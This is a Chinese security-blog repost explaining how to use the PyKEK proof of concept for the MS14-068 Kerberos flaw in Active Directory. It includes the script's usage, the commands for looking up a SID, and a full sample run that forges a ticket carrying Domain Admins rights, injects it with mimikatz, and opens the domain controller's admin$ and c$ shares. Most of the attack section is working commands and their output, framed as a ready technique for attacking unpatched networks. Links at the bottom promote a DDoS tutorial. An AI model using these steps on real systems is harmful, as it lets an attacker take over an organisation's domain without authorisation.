MS14-068 privilege escalation PoC

hacker5年前黑客工具354

  数日前 安全脉搏播报了《MS14-068 Kerberos Domain Privilege Escalation》,安全运维和渗透师必关注的一个漏洞,该漏洞可能允许攻击者提升普通域用户账户为域管理员账户。

  老外在github给出了一个POC,先分享如下:

  

  PyKEK (Python Kerberos Exploitation Kit), a python library to manipulate KRB5-related data. (Still in development)

  For now, only a few functionalities have been implemented (in a quite Quick'n'Dirty way) to exploit MS14-068 (CVE-2014-6324) .

  More is coming...

  Sylvain Monné

  Contact : sylvain dot monne at solucom dot fr

  http://twitter.com/bidord

  Special thanks to: Benjamin DELPY

  kek.krb5: Kerberos V5 (RFC 4120) ASN.1 structures and basic protocol functions

  kek.ccache: Credential Cache Binary Format (cchache)

  kek.pac: Microsoft Privilege Attribute Certificate Data Structure (MS-PAC)

  kek.crypto: Kerberos and MS specific cryptographic functions

  Exploits MS14-680 vulnerability on an un-patched domain controler of an Active Directory domain to get a Kerberos ticket for an existing domain user account with the privileges of the following domain groups :

  Domain Users (513)

  Domain Admins (512)

  Schema Admins (518)

  Enterprise Admins (519)

  Group Policy Creator Owners (520)

  USAGE:

  ms14-068.py -u @ -s -d

  OPTIONS:

  -p

  --rc4

  Linux (tested with samba and MIT Kerberos)

  On Windows

  SID获取 *** :

  1)wmic useraccount where name="USERNAME" get sid

  2)whoami /all 本机可以直接查出自己的SID;

  胖编想 在未及时patch的内网内是不是要如鱼得水 随意穿插呢?那么内网渗透门槛又被拉低了?

  为不能访问github的小朋友们提供百度盘链接,胖编这么贴心,应该能骗得主编表侄女的欢心了吧,想想就开心,想想就自信。

  Update:

  1) use ms14-068.py

  ms14-068.py -u -s S-1-5-21-3653881884-3918934852-1693569208-8965 -d DC2.secpulse.local

  Password:

  [+] Building AS-REQ for DC2.secpulse.local... Done!

  [+] Sending AS-REQ to DC2.secpulse.local... Done!

  [+] Receiving AS-REP from DC2.secpulse.local... Done!

  [+] Parsing AS-REP from DC2.secpulse.local... Done!

  [+] Building TGS-REQ for DC2.secpulse.local... Done!

  [+] Sending TGS-REQ to DC2.secpulse.local... Done!

  [+] Receiving TGS-REP from DC2.secpulse.local... Done!

  [+] Parsing TGS-REP from DC2.secpulse.local... Done!

  [+] Creating ccache file ''... Done!

  2)put your file into mimikatz directory

  最新版本的mimikatz才支持kerberos::ptc模块,下载地址:

  https://github.com/gentilkiwi/mimikatz/releases/tag/2.0.0-alpha-20141120

  否则会出现

  ERROR mimikatz_doLocal ; "ptc" command of "kerberos" module not found !

  3)新版本执行

  mimikatz.exe log "kerberos::ptc " exit

  Using 'mimikatz.log' for logfile : OK

  mimikatz(commandline) # kerberos::ptc

  Principal : (01) : secpulse ; @ SECPULSE.LOCAL

  Data 0

  Start/End/MaxRenew: 2014/12/7 9:43:01 ; 2014/12/7 19:43:01 ; 2014/12/14 9:43:01

  Service Name (01) : krbtgt ; SECPULSE.LOCAL ; @ SECPULSE.LOCAL

  Target Name (01) : krbtgt ; SECPULSE.LOCAL ; @ SECPULSE.LOCAL

  Client Name (01) : secpulse ; @ SECPULSE.LOCAL

  Flags 50a10000 : name_canonicalize ; pre_authent ; renewable ; proxiable ; forwardable ;

  Session Key : 0x00000017 - rc4_hmac_nt

  1af2c0401238d0346b5456788atf1140

  Ticket : 0x00000000 - null ; kvno=2 [...]

  * Injecting ticket : OK

  mimikatz(commandline) # exit

  Bye!

  4)如果injecte成功 你有可能获得到了域管理session

  那么klist看一下是否有了kerberos Ticket

  那么 测试一下

  net use \\DC2.secpulse.local\admin$ //注:使用IP可能会失败

  dir \\DC2.secpulse.local\c$ 看看有木有权限 好运~

  备注:

  测试环境:

   win7,在xp下mimikatz会出错

   python2.7,使用更高版本比如python3.3脚本会报错

   在本机以local admin登录,如果以域用户登录提权会失败

   如果在以上操作下仍然失败,建议重启主机,并用域管理员在域内新建普通用户,以新建用户的用户名密码执行python脚本,重复以上流程

  

  老外这篇是以local admin(not with AD domain credentials)登陆的,成功获得域控机器权限。

  

  打了patch的暂时就没办法利用啦。

标签: 渗透测试

相关文章

搭建ddos发包机教程(服务器ddos发包机)

搭建ddos发包机教程(服务器ddos发包机)

本文目录一览: 1、DDOS攻击的具体步骤? 2、DDOS攻击的步骤怎么样? 3、请问谁能给我DDOS的详细攻击教程,50财富 4、如何进行DDOS攻击怎么做 5、怎么样实现DDOS和...

腾讯媒体开放平台开放注册了(附腾讯媒体开放

腾讯媒体开放平台开放注册了(附腾讯媒体开放

等了三个月,终于等到了腾讯媒体开放平台公测,上次公测给大家开了个玩笑,结果还是 没有审核,这次是真的公测了,注册流程非常简单,不过审核需要7天事件。 一、打开腾讯媒体开放平台官方网站(http://...

黑客量刑标准是多少(黑客一般判几年)

黑客量刑标准是多少(黑客一般判几年)

破坏计算机信息系统罪量刑标准 破坏计算机信息系统罪量刑标准:一般处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。处五年以下有期徒刑或者拘役,后果特别严重的,处五年以上有期徒刑。犯破坏计...

十元店里都有什么区别(十元店究竟有多大利润

十元店里都有什么区别(十元店究竟有多大利润

本文作者:哈尔科夫 今年双十一买买买实际上提前已经分流了不少,大部分还是在狗东,但是呢,还是有少部分去的实体店,实体店有什么好去的? 等等,没说去的普通的超市,这些地方还真是不如在狗东买,起码剩下...

怎样练成黑客(黑客技术怎么练)

怎样练成黑客(黑客技术怎么练)

本文导读目录: 1、黑客是在怎么炼成的? 2、黑客是怎样炼成的? 3、黑客是怎样炼成的 4、黑客是怎么练成的? 5、黑客是怎么炼成的? 黑客是在怎么炼成的? 第一种,跳崖,然后你就受...

著名黑客哪里多(哪里的黑客技术高)

著名黑客哪里多(哪里的黑客技术高)

中国十大黑客排名是什么?有什么事迹? 孤单剑客、冰叶、中华特攻 (King Xer)、冰雪封情。goodwell作为我国黑客界最早安排创始人,掀开我国黑客前史的序幕。goodwell领导下绿色兵团在网...